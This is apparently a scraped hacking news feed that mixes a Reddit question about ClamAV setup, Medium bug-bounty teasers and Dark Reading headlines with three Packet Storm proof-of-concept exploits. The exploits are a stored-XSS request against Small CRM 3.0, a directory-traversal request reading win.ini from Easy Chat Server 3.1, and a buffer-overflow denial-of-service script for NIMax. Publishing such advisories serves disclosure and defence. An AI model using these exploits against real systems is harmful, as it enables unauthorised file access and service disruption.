hacking: security in practice
Homemade Antivirus pt. 2

So I'm stuck, I made a post a while back here and I have since been working hard at it. I have ClamAV installed now, but the problems have started there (I'm working on MacOS 11.6 Big Sur for frame of reference). So I tried to run clamd -v and I get a not found error. I followed all the steps from the official ClamAV config but clamd doesn't work. Any idea what could be wrong?

I also don't know what LocalSocket is, and when I "man LocalSocket" it, I get nothing.

Any help is much appreciated!

submitted by /u/thomas_the_kid2
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
(Out of Scope)-IDOR allows access to billing data and address of any user.

https://cdn-images-1.medium.com/max/640/1*LIipp9NtX9LkuhCthUknnw.gif
Hey fellow hackers and bug hunters,

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Un error en el popular software WinRAR podría permitir a los atacantes piratear su computadora

https://cdn-images-1.medium.com/max/1347/0*V7b2wZP7sfHW4lWS
PUBLICADO EN 21 OCTUBRE, 2021POR EHACKING

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
I asked 15 hackers one question and these are their answers.

https://cdn-images-1.medium.com/max/1000/0*HvGnjBf4_6eGg7Ml
If you have ever wondered what is going on inside a hacker’s mind, boy aren’t you in for a ride. As a hacker myself, there are some…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

I Find Reflected Xss in Javatpoint
https://medium.com/@subhadeep78910/i-find-reflected-xss-in-javatpoint-94386fc9a9fa?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Hello viewers, i hope you all guys are safe & cure in your houseContinue reading on Medium » (https://medium.com/@subhadeep78910/i-find-reflected-xss-in-javatpoint-94386fc9a9fa?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Small CRM 3.0 Cross Site Scripting

https://4.bp.blogspot.com/-4tZE0Y76jWM/WWlvMNv2FRI/AAAAAAAAIMQ/Di9LOyWyOssTbh7urhFnaBV0oE1qNf8CgCLcBGAs/s1600/h19.png
Small CRM version 3.0 suffers from a persistent cross site scripting vulnerability.

MD5 | 887802c5734c26b19d2fa7086eed9eb4

Download
# Exploit Title: Small CRM 3.0 - 'description' Stored Cross-Site Scripting (XSS)
# Date: 20/10/2021
# Exploit Author: Ghuliev
# Vendor Homepage: https://phpgurukul.com
# Software Link: https://phpgurukul.com/small-crm-php/
# Version: 3.0
# Tested on: Server: Ubuntu

When a user or admin creates a ticket, we can inject javascript code into
ticket.

POST /crm/create-ticket.php HTTP/1.1
Host: IP
Content-Length: 79
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://IP
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://IP/crm/create-ticket.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,az;q=0.8,ru;q=0.7

subject=aa&tasktype=Select+your+Task+Type&priority=&description=&send=Send


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Easy Chat Server 3.1 Directory Traversal

https://4.bp.blogspot.com/-xhbT4GX8v9w/WWlvF89jtmI/AAAAAAAAILM/fSSkvnm11QwzZu21RJEqwX2S4icQcxCngCLcBGAs/s1600/h136.png
Easy Chat Server version 3.1 suffers from a directory traversal vulnerability.

MD5 | 6467ba2ba996208488cde9d6cd01fa7d

Download
# Exploit Title: Easy Chat Server 3.1 - Directory Traversal and Arbitrary File Read
# Date: 11 October 2021
# Exploit Author: z4nd3r
# Vendor Homepage: http://www.echatserver.com/
# Software Link: http://www.echatserver.com/
# Version: 3.1
# Tested on: Windows 10 Pro Build 19042, English
#
# Description:
# The web server allows for directory traversal and reading of arbitrary files on the
# system, given that the account running the server can access the target file.
Proof-of-concept using Burp:

Request:

GET /../../../../../../../../../../../../windows/win.ini HTTP/1.1
Host: 192.168.50.52
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

----------------------------------------

Response:

HTTP/1.0 200 OK
Date: Thu, 21 Oct 2021 14:55:57 GMT
Server: Easy Chat Server/1.0
Accept-Ranges: bytes
Content-Length: 92
Connection: close
Content-Type: text/html

; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
NIMax 5.3.1f0 Denial Of Service

https://4.bp.blogspot.com/-xhbT4GX8v9w/WWlvF89jtmI/AAAAAAAAILM/fSSkvnm11QwzZu21RJEqwX2S4icQcxCngCLcBGAs/s1600/h136.png
NIMax version 5.3.1f0 suffers from multiple denial of service vulnerabilities.

MD5 | f16a3515fb6f97a2e7bf282255c5e23c

Download
# Exploit Title: NIMax 5.3.1 - 'Remote VISA System' Denial of Service (PoC)
# Date: 24/06/2021
# Exploit Author: LinxzSec
# Vulnerability: Local Denial of Service (DoS)
# Vendor Homepage: https://www.ni.com/en-gb.html
# Software Link: License Required - https://knowledge.ni.com/KnowledgeArticleDetails?id=kA03q000000YGQwCAO&l=en-GB
# Tested Version: 5.3.1f0
# Tested On: Windows 10 Pro x64

'''[ POC ]
1 - Copy printed "AAAAA..." string from "nimax.txt"
2 - Open NIMax.exe
3 - Right click "Remote systems" and press "Create New"
4 - Select "Remote VISA System" and press "Next"
5 - Paste clipboard in "Remote VISA System Address"
6 - Press finish and DoS will occur
'''

buffer = "\x41" * 5000

try:
f = open("nimax.txt", "w")
f.write(buffer)
f.close()
print("[+] File created!")
except:
print("[+] File could not be created!")
----------

# Exploit Title: NIMax 5.3.1f0 - 'VISA Alias' Denial of Service (PoC)
# Date: 24/06/2021
# Exploit Author: LinxzSec
# Vulnerability: Local Denial of Service (DoS)
# Vendor Homepage: https://www.ni.com/en-gb.html
# Software Link: License Required - https://knowledge.ni.com/KnowledgeArticleDetails?id=kA03q000000YGQwCAO&l=en-GB
# Tested Version: 5.3.1f0
# Tested On: Windows 10 Pro x64

'''[ POC ]
1 - Copy printed "AAAAA..." string from "nimax.txt"
2 - Open NIMax.exe
3 - Drop down "My System" then drop down "Software"
5 - Locate "NI-VISA 5.2" and select it
6 - Open the "VISA Options" tab
7 - Drop down "General settings"
8 - Select "Aliases"
9 - Select "Add alias"
10 - Paste string from "nimax.txt" into "Resource name"
11 - Just put a single character in the alias and press "ok", DoS will occur
'''

buffer = "\x41" * 5000

try:
f = open("nimax.txt", "w")
f.write(buffer)
f.close()
print("[+] File created!")
except:
print("[+] File could not be created!")


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
How Psychology Can Save Your Cybersecurity Awareness Training Program

Understanding human psychology, how it works, and how to introduce its concepts into cybersecurity awareness training can make a huge difference to your organization.

Dark Reading: Attacks/Breaches
Macs Still Targeted Mostly With Adware, Less With Malware

The top 10 categories of digital threats on macOS are all adware programs, with only a sliver of the share of victims affected by actual malware, according to an IT management firm.

TryHackMe — Jeff
https://r3alix01.medium.com/tryhackme-jeff-fc2fe2a3161a?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Hi guys, I am Piyush Achärya, and today in this write-up I am going to show you how to complete the Jeff challenge. Let’s get started.Continue reading on Medium » (https://r3alix01.medium.com/tryhackme-jeff-fc2fe2a3161a?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video